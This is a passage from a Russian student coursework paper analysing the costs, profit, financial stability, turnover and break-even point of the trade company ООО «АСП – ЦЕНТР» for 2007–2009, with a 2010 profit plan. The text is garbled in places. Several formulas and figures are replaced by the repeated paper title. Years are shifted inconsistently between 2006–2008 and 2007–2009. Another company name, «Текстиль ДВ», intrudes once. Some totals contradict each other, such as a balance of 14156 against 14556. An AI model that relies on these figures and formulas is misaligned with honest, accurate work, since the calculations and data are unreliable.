103,4

+0,11

+0,23

Высокие темпы роста за изучаемый период отмечаются по издержкам обращения, в 2009 году темп роста составил 20,8%, а в 2008 году 13,7%. Рост затрат предприятия вызван увеличением цен и тарифов на транспортные и коммунальные услуги, а также ситуацией сложившейся на потребительском рынке в связи с экономическим кризисом. Снижение темпов роста выручки и рост издержек в абсолютной сумме привели к повышению уровня издержек обращения на 1,08% в 2009 году, и на 0,25% в 2008 году. Это привело к абсолютному и относительному перерасходу издержек обращения. За анализируемый период на предприятии допущен относительный перерасход издержек обращения в 2009 году в сумме 480,6 тыс. руб. (1,08*44500/100), а в 2008 году 100,5 тыс. руб. (0,25*40200/100).

При оценке экономических показателей выделены сильные стороны деятельности предприятия:

– предприятие в условиях экономического кризиса обеспечило увеличение объёма продаж и получение прибыли;

– рентабельность по прибыли до налогообложения предприятия составляет 7,05%, что выше среднего уровня в целом по России почти вдвое.

– незначительно, но обеспечен рост прочих доходов в 2009 году на 8,0 тыс. руб.

К слабым сторонам деятельности предприятия следует отнести превышение темпа роста затрат по реализации, то есть, издержек обращения за 2008–2009 год на 20,8% по сравнению с возрастанием полученного эффекта, то есть выручки на 10,7%. Это привело к нарушению механизма управления прибылью от продажи товаров, и как результат к снижению темпов роста прибыли от продаж в 2009 году на 1,9% (111,9 – 113,8). На предприятии высокими темпами растут прочие расходы, темп их роста в 2009 году составил 35,3% по сравнению с 2008 годом, а в 2008 году 24,4% по сравнению с 2007 годом. Такой рост расходов связан с выплатой процентов за кредит в связи с нехваткой собственных оборотных средств. Закономерным процессом развития операционной прибылью является обязательное соблюдение следующих условий: [23]

IП > I В > I ИО, ()

где I П – прирост темпа роста прибыли от продаж;

I В-прирост темпа роста выручки;

I ИО – прирост темпа суммы издержек обращения.

На исследуемом предприятии фактические темпы роста экономических показателей за 2008–2009 годы составили: прибыль от продаж 111,9%, выручка 110,7%, издержки обращения 120,8%. Таким образом, неэффективное управление издержками предприятия привело к образованию упущенной выгоды в размере 482,1 тыс. руб.

Основным источником информационного обеспечения оценки финансового состояния предприятия являются бухгалтерский баланс и приложения к нему.

Финансовое состояние предприятия характеризует состояние финансовых ресурсов и взаимоотношений, связанных с движением денежных потоков, по источникам образования и расходования. Основная цель проведения анализа состояния активов предприятия заключается в выявлении изменений за отчетный период в их составе и структуре.

В таблице Б1 приложения Б представлены абсолютные величины по видам активов, на удельные веса в общей величине активов, изменения в тыс. руб. и в процентах.

Активы предприятия состоят из внеоборотных и оборотных активов. Наибольший удельный вес в структуре активов приходится на оборотные активы 8835 тыс. руб. или 68% на конец 2007 г. и 5068 тыс. руб. или 55,2% на начало 2008 г. Внеоборотные активы в общей сумме активов занимают 44,8% в 2007 г. и 31,3% в 2008 г.

Платежеспособность – это способность предприятия торговли своевременно погашать все свои обязательства при наступлении строка платежа.

Коэффициент платежеспособности рассчитывается по формуле:

Кпл = СК/СКП * 100% ()

где Кпл – коэффициент платежеспособности, финансовой независимости, в%

СК – собственный капитал предприятия, руб.

Чем больше коэффициент, тем выше доля собственных средств в общей сумме финансовых ресурсов предприятия. В этом случае оно способно погасить не только краткосрочные, но и долгосрочные обязательства.

Кпл 2008 г. = 5997/12853Ч100 = 46,7%Прибыль как обобщающий показатель, её анализ и планирование

Кпл 2009 г. = 6312/14556 Ч100 = 43,4%

Коэффициент платежеспособности снизился на 3,3%, и в 2008 году и в 2009 году он ниже нормативного значения.

Абсолютная устойчивость финансового состояния встречается редко, представляя собой крайний тип финансовой устойчивости. Большинству организаций присуща нормальная устойчивость. При неустойчивом финансовом состоянии нарушается платёжеспособность, но сохраняется возможность восстановления за счёт вынужденного привлечения дополнительных источников покрытия.

В таблице 3 представлены финансовые коэффициенты, применяемые для оценки финансовой устойчивости предприятия.

Таблица 3 – Финансовые коэффициенты финансовой устойчивости предприятия

Показатель

Формула расчёта

Рекомендуемое значение
Коэффициент автономии

Ка = СК/А

Минимальное пороговое значение на уровне 0,5
Коэффициент финансовой зависимости

Кфз = ЗК/А

Менее 0,5
Коэффициент соотношения заёмных и собственных средств

Ксзс = ЗК/СК

Менее 0,7
Коэффициент финансирования

Кф = СК/ЗК

Не менее 1
Коэффициент маневренности собственного капитала

Км = (СК – ВА)/СК

0,2–0,5

Коэффициент автономии важен для инвесторов и кредиторов, так как они отдают предпочтение предприятиям с высокой долей собственного капитала. Коэффициент соотношения заёмного и собственного капитала (леверидж, плечо финансового рычага) показывает долю привлечённых средств на каждый рубль собственных, вложенных в активы предприятия. Коэффициент финансирования показывает, сколько заёмных средств покрывается собственным капиталом.

В таблице 4 проведён расчёт показателей финансовой устойчивости по предприятию.

Таблица 4 – Расчёт относительных показателей финансовой устойчивости по ООО «АСП – ЦЕНТР»

Показатель

Значение показателя по данным баланса

Отклонение расчётного значения от рекомендованного
2007 год

2008 год

2009 год

2007 год

2008 год

2009 год
Коэффициент автономии

0,61

0,46

0,43

в пределах нормы

менее 0,5

менее 0,5
Коэффициент финансовой зависимости

0,27

0,34

0,42

в пределах нормы

в пределах нормы

в

пределах нормы

Коэффициент соотношения заёмных и собственных средств (леверидж)

0,44

0,76

0,9

в пределах нормы

+0,06

+0,2
Коэффициент финансирования

2,25

1,3

1,03

в пределах нормы

в пределах нормы

в

пределах нормы

Коэффициент маневренности собственного капитала

0,27

0,33

0,3

в пределах нормы

в пределах нормы

В

пределах нормы

По данным приложений Б и В проведено изучение структуры капитала предприятия и его источников в динамике. В таблице 5 представлена структура средств и источников по предприятию. Таблица 5 – Анализ структуры капитала и источников его формирования

Показатель

2007 год

2008 год

2009 год
тыс. руб.

уд. вес, %

тыс. руб.

уд. вес, %

тыс. руб.

уд. вес, %

Внеоборотные активы,

тыс. руб.

4109

44,8

4018

31,3

4400

30,2

Оборотные активы

тыс. руб.

5068

55,2

8835

68,7

10156

69,8
Баланс

9177

100

12853

100

14556

100

Собственный капитал

тыс. руб.

5620

61,2

5997

46,7

6312

43,4

Заёмный капитал

тыс. руб.

2500

27,2

4616

35,9

6148

42,2
Привлечённые средства, тыс. руб.

1057

11,6

2240

17,4

2096

14,4
Баланс

9177

100

12853

100

14156

100

По данным таблицы 3 выявлена тенденция роста оборотных активов предприятия, их доля в 2009 году по сравнению с 2007 годом возросла на 14,6%, что в сумме составило 5088 (10156 – 5068) тыс. руб. Это связано со следующими причинами: увеличением объёмов продаж, расширением торгового ассортимента, ростом розничных цен и тарифов, а также инфляционными процессами. Увеличение доли оборотного капитала сопровождается сокращением доли внеоборотных активов. Это связано с износом основных средств.

Валюта баланса в 2008 г. возросла по сравнению с 2007 г. на 3676 тыс. руб. или на 140,0%, что в целом характеризует наращивание экономического потенциала предприятия, однако, велика доля заемных средств в 2007 г., она составила 53,3%, что на 14,5% больше, чем в 2007 г. В 2008 г. кредиторская задолженность увеличилась на 1135 тыс. руб. по сравнению с 2007 г. за этот же период займы и кредиты возросли на 2116 тыс. руб. Положительным нужно признать рост нераспределенной прибыли на 309 тыс. руб. снижение задолженности перед внебюджетными фондами.

Таблица В1 в приложения В содержит информацию о структуре источников средств

Характеризуя по таблице 5 соотношение собственных, заёмных и привлечённых средств организации, можно сделать следующие выводы. Преобладающую часть пассива баланса составляют собственные средства, хотя их доля за изучаемый период снизилась с 61,2% в 2006 году до 43,4% в 2008 году. При этом растёт доля заёмного капитала с 27,2% в 2006 году до 42,2% в 2008 году.

По данным таблицы 5 составлена диаграмма, на рисунке 5, которая отражает структуру капитала предприятия за период с 2007 по 2009 год.

Прибыль как обобщающий показатель, её анализ и планирование

Рисунок 5 – Диаграмма структуры капитала за 2007–2009 годы по ООО «АСП – ЦЕНТР»

Доля привлечённых средств остаётся примерно на одном и том же уровне.

Для укрепления финансовой независимости предприятию необходимо наращивание собственного капитала. По данным таблицы 3 построена диаграмма на рисунке 6, которая отражает структуру источников по предприятию. По данным таблицы 3 построена диаграмма на рисунке 6, которая отражает структуру источников по предприятию ООО «Текстиль ДВ».

Прибыль как обобщающий показатель, её анализ и планированиеПрибыль как обобщающий показатель, её анализ и планирование

Рисунок 6 – Структура источников капитала по ООО «АСП – ЦЕНТР» за 2007 и 2009 годы

Оборотные активы представляют собой наиболее мощную и мобильную часть имущества ООО «АСП – ЦЕНТР». Результативность работы предприятия во многом зависит от эффективности их использования. Наибольший удельный вес в оборотных активах торгового предприятия занимают товарные и производственные запасы, это обусловлено необходимостью безопасности организации при колебаниях продаж. Важным показателем при анализе материальных активов является оборачиваемость в днях. В таблице 6 проведён расчёт оборачиваемости по ООО «АСП».

Таблица 6 – Расчёт оборачиваемости по ООО «АСП – ЦЕНТР»

Показатель

2007 год

2008 год

2009 год

Выручка,

тыс. руб.

36120,0

40200,0

44500,0
Однодневный оборот, тыс. руб.

100,3

111,7

123,6

Средний запас,

тыс. руб.

4384

6147

8716,5
Оборачиваемость материальных активов, дни

43,7

55,0

70,5

При изучении данных таблицы установлено, что за период с 2007 года по 2009 год на предприятии происходило замедление оборачиваемости материальных активов. В 2009 году по сравнению с 2008 годом на 15,5 дня (70,5–55,0), а в 2008 году по сравнению с 2007 годом на 11,3 дня (55,0–43,7).

Для обоснованного исследования прибыли необходим анализ товарооборота. В каждом отчётном периоде оптовое предприятие должно изучить ритмичность поставок. В качестве показателя, характеризующего ритмичность поставок можно применить коэффициент равномерности. Для расчёта этого коэффициента исчислены среднеквадратическое отклонение и коэффициент вариации. Среднеквадратическое отклонение исчисляется по формуле:

Прибыль как обобщающий показатель, её анализ и планирование = Прибыль как обобщающий показатель, её анализ и планирование, ()

где Прибыль как обобщающий показатель, её анализ и планирование— среднеквадратическое отклонение;

x – процент изменения закупок за квартал;

х – средний процент изменения товарооборота за год;

n – количество кварталов.

Прибыль как обобщающий показатель, её анализ и планирование,

(2.3)

где V – коэффициент вариации;

Кравн = 100% – V,(2.4)

где Кравн – коэффициент равномерности.

В таблице 7 проведён анализ товарооборота по предприятию.

Таблица 7 – Анализ оборота по ООО «АСП»

Кварталы

2008 г.

2009 г.

2009 г. в%

к 2008 г.

+/ – отклонение
тыс. руб.

удель

ный вес.%

тыс. руб.

удель

ный вес.%

тыс. руб.

удель

ный вес.%

1

9447,0

23,5

10368,5

23,3

109,8

921,5

-0,2
2

9165,0

22,8

10190,5

22,9

111,2

1024,4

0,1
3

9567,6

23,8

10546,5

23,7

110,2

978,9

-0,2
4

12019,8

29,9

13394,5

30,1

111,4

1374,7

+0,2
Итого за год:

40200,0

100

44500,0

100

110,7

4300,0

—

Объём товарооборота в 2009 г. по сравнению с 2008 г. возрос на 4300 тыс. руб. что составило 9,4%. Наибольший объём стабильно отмечается в 4 квартале как в 2009 г. так и в 2008 г. Такое распределение связано со спросом на товары, реализуемые розничным потребителям.

Наиболее высокий спрос и объёмы реализации наблюдаются в 3 и 4 кварталах, в 1 и 2 квартал характеризуется снижением объёма товарооборота в связи с тем, что снижаются объёмы реализации товаров в соответствии со спросом рыночных потребителей. Расчёт среднеквадратического отклонения проведён в таблице 8.

Таблица 8 – Расчёт среднеквадратического отклонения по ООО «АСП»

Кварталы

X

Прибыль как обобщающий показатель, её анализ и планированиеX–X

Прибыль как обобщающий показатель, её анализ и планирование(X–X)2

I

109,8

-0,9

0,81
II

111,2

0,5

0,25
III

110,2

-0,5

0,25
IV

111,4

0,7

0,49
Итого

110,7

—Прибыль как обобщающий показатель, её анализ и планирование

1,8

Среднеквадратическое отклонение

Прибыль как обобщающий показатель, её анализ и планирование Прибыль как обобщающий показатель, её анализ и планирование Прибыль как обобщающий показатель, её анализ и планирование Прибыль как обобщающий показатель, её анализ и планирование

Коэффициент вариации

V =Прибыль как обобщающий показатель, её анализ и планирование

Коэффициент равномерности

К равн = 100% – 0,63 = 99,37%

Закупки по оптовому предприятию ООО «АСП» осуществляются равномерно, коэффициент равномерности близок к 100% и составляет 99,37%.

Оптовый товарооборот и прибыль предприятия зависит в значительной степени от правильного формирования ассортиментной структуры закупок. Общий объём оптового оборота в 2009 г. возрос на 4300 тыс. руб.

2.3 Анализ и планирование показателей прибыли и рентабельности на предприятии

Торговые организации планируют в своей работе объём прибыли и уровень рентабельности в целом по организации, структурным подразделениям, сегментам деятельности, а затем осуществляют контроль за выполнением запланированных показателей, соблюдением экономии имеющихся ресурсов. Задачами анализа прибыли являются:

оценка степени выполнения плановых (прогнозных) данных и динамики показателей, характеризующих валовые доходы, финансовые результаты в целом по организации, структурным подразделениям и сегментам деятельности;

выявление важнейших факторов, воздействующих на прибыль и рентабельность;

оценка эффективности использования прибыли;

раскрытие резервов, выявление которых повысит прибыль и рентабельность организации;

определение путей и возможностей роста прибыли, повышения рентабельности при улучшении качества торгового обслуживания населения.

Анализ прибыли проводится в целом по торговому предприятию, изучается динамика показателей прибыли и рентабельности, рассчитывается влияние факторов на прибыль, проводиться анализ по кварталам.

Анализ прибыли необходимо проводить с целью количественной оценки влияния на прибыль отдельных факторов. Влияние объёма оптового оборота на сумму прибыли рассчитывается по формуле:

Вл О = (Оф – Оп) * Рп / 100%, (1.6)

где Вл О – влияние изменения объёма оборота;

Оф – оборот фактический;

Оп – оборот плановый;

Рп – рентабельность плановая, %.

Влияние изменения среднего уровня валового дохода определяется по формуле:

Вл. УВД = (УВДф – УВДп) *Оф / 100%, ()

где Вл. УВД – влияние среднего уровня валового дохода;

УВДф – уровень валового дохода фактический;

УВДп – уровень валового дохода плановый;

Оф – оборот фактический.

Изменение уровня издержек обращения исчисляется по формуле:

Вл. УИО = (УИОф – УИОп) * Оф /100%, ()

где Вл. УИО – влияние изменения уровня издержек обращения;

УИОф – уровень издержек обращения фактический;

УИОп – уровень издержек обращения плановый;

Оф – оборот фактический.

Предприятие ООО «АСП – ЦЕНТР» является рентабельным, в 2009 г. рентабельность по прибыли до налогообложения составила 7,05%, это выше уровня 2008 г. на 0,23%.

Увеличение рентабельности произошло за счёт увеличения прибыли предприятия на 395,0 тыс. руб. в 2009 г. по сравнению с 2008 г. возросли расходы внереализационные на 60 тыс. руб. Рост расходов связан с увеличением процентов уплаченных по договорам займа.

Анализ прибыли за год дополняется ее изучением по кварталам в динамике, данные анализа обобщены в таблице в приложении Д.

Рост прибыли отмечается по всем кварталам в 2009 году по сравнению с 2008 годом. Наибольший темп прироста прибыли отмечается в 3 и 4 кварталах 2009 года он составляет 114.0% и 115.2% соответственно, самый высокий уровень рентабельности отмечен в 3 квартале 2009 года. Данные анализа прибыли и рентабельности приведены в таблице 11.

Таблица 11 – Анализ показателей прибыли и рентабельности

Показатели

2007 г.

2008 г.

2009 г.

2008 г. % 2007 г.

2009 г. %

2010 г

+, – отклонение
2008 г. к 2007 г.

2009 г. к

2008 г.

Выручка от продаж товаров, тыс. руб.

36120,0

40200,0

44500,0

111,6

110,7

4080

4300
Прибыль от продаж, тыс. руб.

2552,8

2905,8

3352,8

113,8

111,9

353

447
Рентабельность по прибыли от продаж, %

7,07

7,23

7,53

102,3

104,4

0,16

0,30
Прочие расходы, тыс. руб.

137

170

230

124,1

135,3

+33,0

+60
Прочие доходы, тыс. руб.

9

5

13

55,9

260,0

-4

+8
Прибыль до налогообложения, тыс. руб.

2424,8

2740,8

3135,8

113,0

114,4

315,2

395,0
Рентабельность по прибыли до налогообложения, %

6,71

6,82

7,05

101,6

103,4

0,11

0,23
Прибыль чистая, тыс. руб.

1842,8

2083,0

2383,2

113,0

114,4

240,2

300,2
Рентабельность по чистой прибыли, %

5,10

5,18

5,36

101,6

103,5

0,08

0,18
Прибыль чистая на одного работника, тыс. руб.

141,8

148,9

158,9

105,0

106,7

7,1

10,0
Рентабельность расходов на оплату труда, %

1,09

1,11

1,19

101,8

107,2

0,02

0,08

Расчет влияния факторов на прибыль проведен в таблицах 12.

Таблица 12 – Расчёт влияния факторов на прибыль за 2007–2008 гг.

Факторы

Увеличивающие

прибыль

Уменьшающие

прибыль

Выручка

288,3

Уровень издержек

100,7
Влияние изменения структуры продаж

164,6

Итого влияние основных факторов

452,9

100,7
Доходы прочие

4
Расходы прочие

33
Итого:

137,7
Всего:

+315,2

Влияние изменения объёма продаж

+4080*7,07/100 = + 288,3 тыс. руб.

Влияние изменения структуры продаж

+0,41*40200/100 = +164,6 тыс. руб.

Влияние изменения уровня издержек обращения

+0,25*40200/100 =+ 100,7 тыс. руб.

Таблица 13 – Расчет влияния факторов на прибыль за 2008–2009 гг.

Факторы

Увеличивающие

прибыль

Уменьшающие

прибыль

Выручка

+310,7

Уровень издержек

– 482,1
Влияние изменения структуры продаж

+618,4

Итого влияние основных факторов

+929,1

Доходы прочие

+8

Расходы прочие

-60
Итого:

937,1

542,1
Всего:

+395,0

Влияние изменения объёма продаж

+4300*7,23/100 = +310,7 тыс. руб.

Влияние изменения структуры продаж

+1,39*44500/100 = +618,4 тыс. руб.

Влияние изменения уровня издержек обращения

+1,08*44500/100 = + 482,1 тыс. руб.

Предприятие ООО «АСП» является рентабельным, в 2008 г. рентабельность составила 7,53%, это выше уровня 2007 г. на 0,3%.

Увеличение рентабельности произошло за счёт увеличения прибыли предприятия на 395,0 тыс. руб. в 2008 г. по сравнению с 2007 г. возросли расходы внереализационные на 60 тыс. руб.

Наибольший темп прироста прибыли отмечается в 3 и 4 кварталах 2008 года он составляет 114.0% и 115.2% соответственно, самый высокий уровень рентабельности отмечен в 3 квартале 2008 года 7.24%.

При изучении факторов, было установлено, что на прибыль влияют доходы и расходы внереализационные.

В 2009 году внереализационные расходы по предприятию превысили доходы внереализационные на 217,0 тыс. руб., что на 52,0 тыс. руб. больше чем в 2008 году, это отрицательно сказывается на формировании прибыли.

Увеличение расходов на 35,5% в 2009 году по сравнению с 2008 годом связано с ростом процентов, уплаченных по договорам займа банку в связи с нехваткой собственных оборотных средств.

В таблице 14 приведен анализ доходов и расходов прочих.

Таблица 14 – Анализ прочих доходов и расходов

Прочие доходы и расходы

2008 г

2009 г

± изменение
тыс. руб.

уд. вес, %

тыс. руб.

уд. вес, %

тыс. руб.

%
Расходы всего в том числе:

170

100

230

100

+135,3

135,5
Проценты, уплаченные по договорам займа

157,4

92,6

224,9

97,8

+67,5

142,9
Потери от аварий и других чрезвычайных ситуаций

12,6

7,4

5,1

2,2

-7,5

40,5
Доходы всего в том числе:

5

100

13

100

+8

260,0
Штрафы, пени, полученные за нарушение договорных обязательств

3,5

70,0

10,8

83,1

+7,3

308,5
Излишки товаро – материальных ценностей, выявленных при инвентаризации

1,5

30,0

2,2

16,9

+0,7

146,7
Превышение расходов над доходами

165

—

217

—

+52

131,5

Чистая прибыль предприятия увеличилась на 300,2 тыс. руб. Наибольшая часть чистой прибыли, направляется на развитие предприятия: фонд накопления возрос в 2008 году по сравнению с 2007 годом на 326,8 тыс. руб.

Метод прямого счета является относительно простым и достаточно надежным методом планирования прибыли, согласно которому разработке плана по прибыли должны предшествовать расчеты плановых сумм дохода предприятия и издержек обращения, обоснования по получению прочих доходов и расходов.

Метод прямого счета позволяет получить достаточно точные результаты плановой суммы чистой прибыли, однако, он имеет и недостатки. Прежде всего, он недостаточно ориентирован на достижение целевых (нормативных) показателей уровня чистой прибыли. Кроме того, этот метод позволяет осуществлять только одновариантный расчёт планируемых показателей.

Достаточно простым методом планирования прибыли торгового предприятия является нормативный метод, но условием его применения является наличие на предприятии соответствующей нормативной базы. В качестве таких нормативов могут выступать норма прибыли на единицу оборота или норма прибыли на собственный капитал.

Нормативный метод планового расчета суммы чистой прибыли может быть использован в процессе ее определения для открываемых предприятий. Его недостатком является то, что он практически не увязан с другими показателями деятельности торгового предприятия, вследствие чего также не может быть использован для многовариантных расчетов.

Метод целевого планирования прибыли позволяет обеспечить увязку ее размеров с целями развития предприятия. Основой этого метода является предварительное определение минимально необходимой суммы прибыли, достаточной для уплаты налога на прибыль, погашения долгосрочных кредитов и процентов по ним, удовлетворения потребностей предприятия в средствах для выплаты дивидендов, осуществления социальных выплат работникам, а также для накопления средств, необходимых предприятию для производственного развития. Расчёт ведётся по каждому элементу этих потребностей и охватывает как капитализируемую, так и потребляемую их части.

В курсовой работе для планирования прибыли использован метод прямого счёта. Этот метод является достаточно простым и надёжным, согласно этому методу разработке плана прибыли должны предшествовать расчёты плановых сумм валового дохода и издержек обращения. Плановая сумма валового дохода от реализации товаров может быть определена по формуле:

ВД = О * С/ 100, ()

где ВД – плановая сумма валового дохода от реализации товаров;

О – плановый объём оборота;

С – средний уровень оптовой надбавки по предприятию в процентах к обороту.

В условиях кризиса размер оптовой надбавки оставляем на уровне прошлого года.

ВД 2010 = 47400*20,4/ 100 = 9669,6,0 тыс. руб.

Для расчёта прибыли предприятия необходимо определить издержки обращения.

Расходы на оплату труда на предприятии составляют более 30 процентов. В курсовой работе использован опытно – статистический метод. Этот метод ориентирован на использование суммы расходов на оплату труда отчётного года с учетом таких соотношений, при которых темпы роста оптового оборота опережают темпы роста расходов на оплату труда. Обоснованность плановых расчё2тов подтверждается и обеспечением более высоких темпов прироста производительности по сравнению с темпами роста средней заработной платы.

В 2010 году численность работников не измениться, и составит 15 человек, среднюю зарплату планируется увеличить на 3,5%. Таким образом, фонд оплаты труда на 2009 год исчислен по формуле:

ФОТ = З0 ∙ Ч0 ∙ I, ()

где ФОТ – фонд оплаты труда;

З0 – средняя зарплата в отчетном периоде;

Ч0 – численность работников в отчетном периоде;

I – темп роста средней заработной платы.

Фонд оплаты труда на 2010 год составит:

ФОТ = 136,8 * 15 *1,035 = 2123,8 тыс. руб.

При планировании транспортных расходов необходимо учесть, что с ростом объёма оборота и ежегодном увеличении транспортных тарифов сумма расходов будет расти. В 2008 г. индекс роста транспортных тарифов по Хабаровскому краю составил 1,244, уровень транспортных расходов в 2008 г. по предприятию составил 1,22%, тогда расчётная сумма расходов на 2009 г. с учётом роста оборота составит тыс. руб. (47400*1,22*1,244/100).

Сумму расходов на аренду и содержание здания на 2009 год удалось несколько уменьшить вследствие заключения нового договора на аренду. Арендатор снизил ставку арендной платы.

В таблице 18 представлен план издержек обращения по предприятию.

Таблица 19 – План издержек обращения по ООО «АСП – ЦЕНТР»

Статьи издержек обращения

2009 год

2010 год

сумма,

тыс. руб.

уровень, % обороту

сумма,

тыс. руб.

уровень, % обороту
Транспортные расходы

543,7

1,22

719,4

1,52
Расходы на оплату труда

1998,0

4,49

2123,8

4,48
Единый социальный налог

519,5

1,17

552,2

1,16
Расходы на аренду и содержание здания

1541,2

3,46

1644,5

3,47
Амортизация основных средств

166,5

0,37

175,4

0,37
Потери товаров и технологические отходы

143,4

0,32

151,2

0,32
Расходы на тару

51,5

0,12

56,9

0,12
Расходы на ремонт основных средств

160,3

0,36

170,6

0,36
Расходы на рекламу

108,7

0,24

113,4

0,24
Прочие расходы

489,9

1,11

526,1

1,11
Итого:

5722,7

12,86

6233,1

13,15
Оптовый оборот, к которому исчислены издержки обращения

44500

47400

Уровень расходов по остальным статьям в 2010 году, считаю необходимым оставить на уровне 2009 г.

Сумма издержек обращения должна быть вписана в общую систему экономических показателей предприятия. Поэтому на заключительной стадии планирования производится увязка плана издержек обращения с суммой валового дохода и прибыли, потребность в которой испытывает предприятие. План издержек обращения можно считать оптимальным для предприятия, если он обеспечит взаимосвязь показателей, исчисленных по формуле:

ИОпл ≤ ВД ±С д/р – Н – ЧП, ()

где ИО пл – плановая сумма издержек обращения;

ВД – валовой доход предприятия;

С д/р – сальдо доходов и расходов прочих;

Н – налог на прибыль;

ЧП – чистая прибыль предприятия.

Для планирования прибыли использованы данные таблиц 18 и 19.

В таблице 20 составлен план прибыли на 2010 год с распределением по кварталам.

Таблица 20 – План прибыли предприятия ООО «АСП» на 2010 г.

Показатели

План на 2010 г.

в т.ч. по кварталам
1

2

3

4

Оптовый товарооборот

тыс. руб.

47400

11044,2

10854,6

11281,2

14220,0
Валовой доход тыс. руб.

9669,6

2253,3

2214,3

2301,4

2900,6
Издержки обращения тыс. руб.

6233,1

1452,3

1427,4

1483,5

1859,9
Прибыль от продаж тыс. руб.

3436,5

801,0

786,9

817,9

1030,7
Прочие доходы тыс. руб.

15

3,0

3,0

4,5

4,5
Прочие расходы тыс. руб.

240

50,0

50,0

60,0

60,0
Прибыль до налогообложения тыс. руб.

3211,5

754,0

739,9

762,4

955,2
Рентабельность по прибыли до налогообложения

6,77

6,82

8,62

6,76

6,72
Налог на прибыль тыс. руб.

642,3

150,8

148,0

152,5

191,0

Прибыль чистая

тыс. руб.

2569,2

603,2

591,9

609,9

764,2
Рентабельность по чистой прибыли, %

5,42

5,46

5,45

5,41

5,37

План прибыли является наиболее важным финансовым показателем предприятия. Цель составления плана в обобщенной форме представить результаты деятельности предприятия с точки зрения прибыльности. В этом плане обычно рассчитывают валовой доход, издержки обращения, прибыль от продаж, прибыль предприятия, налоги, уплаченные за счет прибыли, чистую прибыль и рентабельность.

При формировании плана прибыли предприятию в условиях экономического кризиса, сложившейся конъюнктуры рынка, конкуренции пришлось несколько снизить темпы роста экономических показателей. Рост прочих расходов связан с увеличением процентов, уплаченных по кредитам, так как предприятию не хватает собственных оборотных средств для закупки товаров.

3 Направления повышения эффективности коммерческой деятельности предприятия ООО «АСП – центр»

3.1 Рекомендации по увеличению объёма выручки, как основного источника увеличения операционной прибыли

Непременным условием успешного функционирования предприятия любой организационно – правовой формы является активное осуществление стратегически направленного и детально проработанного комплекса мероприятий по созданию или укреплению явных или скрытых преимуществ перед своими конкурентами.

Одним из определяющих факторов становится активная инвестиционная деятельность за счёт расширения предприятия, технического перевооружения и увеличения объёмов продаж. Одно из основных препятствий на пути к стабильному экономическому росту – медленный процесс преобразований на уровне предприятия в связи с отсутствием достоверной информации об экономическом состоянии организации, её финансовой устойчивости, которая является важнейшей характеристикой финансово-экономической деятельности в условиях рынка.

Для устранения негативных тенденций экономического развития в целях повышения стабильности деятельности предприятия необходимо обеспечить устойчивое развитие организации как основного структурного элемента экономической системы РФ.

Чтобы обеспечить выживание предприятия в условиях рынка, управленческому персоналу требуется оценить возможные и целесообразные темпы его развития, выявить доступные источники средств, способствуя тем самым эффективному развитию предприятия. Преодоление кризисной ситуации в России, ставит ранее не возникавшие проблемы, одной из которых является обеспечение экономической стабильности развития. Достижение этой цели невозможно без прогнозирования объёма продаж и прибыли предприятия.

Объём продаж должен обеспечить, с одной стороны, удовлетворение спроса населения, а с другой – необходимую сумму для дальнейшего развития и выживания предприятия. Главной целью планирования прибыли является определение такого её размера, который соответствовал бы целям развития предприятия в будущем периоде.

Оптовый оборот формируется в результате совокупного влияния множества длительно и кратковременно действующих факторов.

Размер операционной прибыли непосредственно связан с объёмом выручки, валового дохода и издержек обращения. Система этой связи, получившая название «взаимосвязь издержек, объёма реализации и прибыли» (метод CVP), позволяет выявить роль отдельных факторов в формировании прибыли от реализации. С помощью этой системы можно определить:

– точку безубыточности или порог рентабельности, ниже которого реализация товаров не покрывает затраты и является убыточной;

– запас финансовой прочности торгового предприятия, то есть размер возможного снижения объёма продаж, который позволяет предприятию остаться в зоне прибыльности.

Запас финансовой прочности рассчитывается по формуле:

ЗПФ = Т – Тт.б, (3.1)

где ЗПФ – запас финансовой прочности;

Т – объём оптового оборота;

Т т.б – точка безубыточности.

Точку безубыточности можно определить по формуле:

Прибыль как обобщающий показатель, её анализ и планирование, (3.2)

где ИОП – издержки обращения постоянные;

УВД – уровень валового дохода;

УИО – уровень издержек обращения.

По данным таблицы 2.13 проведена группировка расходов по отношению к оптовому обороту. К постоянным расходам предприятия отнесём расходы на аренду и содержание здания, амортизацию, расходы на ремонт основных средств, 50% прочих расходов.

К переменным отнесем транспортные расходы, расходы на оплату труда, единый социальный налог, расходы на рекламу, потери товаров и технологические отходы, расходы на тару, 50% прочих расходов.

Исходные данные для расчёта представлены в таблице 21.

Таблица 21 – Расчёт оптового оборота в точке безубыточности

Показатель

2009 г.

20010 г.
Оптовый оборот, тыс. руб.

44500

47400
Валовой доход, тыс. руб.

9076,5

9669,9
Уровень валового дохода, %

20,40

20,40
Издержки обращения постоянные, тыс. руб.

2112,9

2253,9
Уровень постоянных издержек, %

4,75

4,755
Издержки обращения переменные, тыс. руб.

3609,8

3979,2
Уровень переменных издержек, %

8,11

8,395
Объём оборота в точке безубыточности, тыс. руб.

28022,5

31088,3
Запас финансовой прочности, тыс. руб.

16477,5

16311,7

Расчёт оптового оборота в точке безубыточности проведён по данным таблицы 3.1

Прибыль как обобщающий показатель, её анализ и планирование тыс. руб.

Прибыль как обобщающий показатель, её анализ и планирование тыс. руб.

ЗПФ2008 = 44500 – 28022,5 =16477,5 тыс. руб.

ЗПФ2009 = 47400 – 31088,3 = 16311,7 тыс. руб.

Выполненные расчёты показывают, что в 2010 году запас финансовой прочности снизится на 165,8 (16311,7–16477,5) тыс. руб. Предприятие обеспечит безубыточную работу в 2010 году при достижении оптового оборота в сумме 31088,3 тыс. руб., при запланированном объёме продаж в сумме 47400,0 тыс. руб., что обеспечивает запас финансовой прочности в сумме 16311,7 тыс. руб.

Предприятию очень важно осуществлять постоянный контроль за запасом финансовой прочности, выяснять насколько близок или далёк порог рентабельности, ниже которого не должна опускаться выручка предприятия. Особенно важно оценивать риск недополучения выручки в условиях экономического кризиса.

Исследование рынка офисного оборудования проводилось средствами маркетологов, привлекаемых со стороны. Следует отметить, что этот рынок за последние годы претерпел значительные изменения. Растёт потребность в офисном оборудовании и компьютерной технике. Эта группа товаров чётко позиционирована на рынке и достаточно близка к потребителю в ценовой категории. Она воспринимается как вполне доступный продукт.

Основные предложения по увеличению объёма продаж были разработаны в следующих направлениях:

– организация рекламы по новым товарным группам;

– разработка методов стимулирования продаж.

Основные формы организации рекламной деятельности, которые предлагаются в курсовой работе: рекламные акции, розыгрыш призов, подарки, презентации товаров. В приложении Е сформулированы основные рекомендации по стимулированию сбыта.

Основная задача рекламы стимулировать потребность в приобретении товара, важно подчеркнуть основные преимущества наших товаров по сравнению с другими предприятиями (ассортимент, скидки, сервисное обслуживание, бесплатные услуги и т.д.)

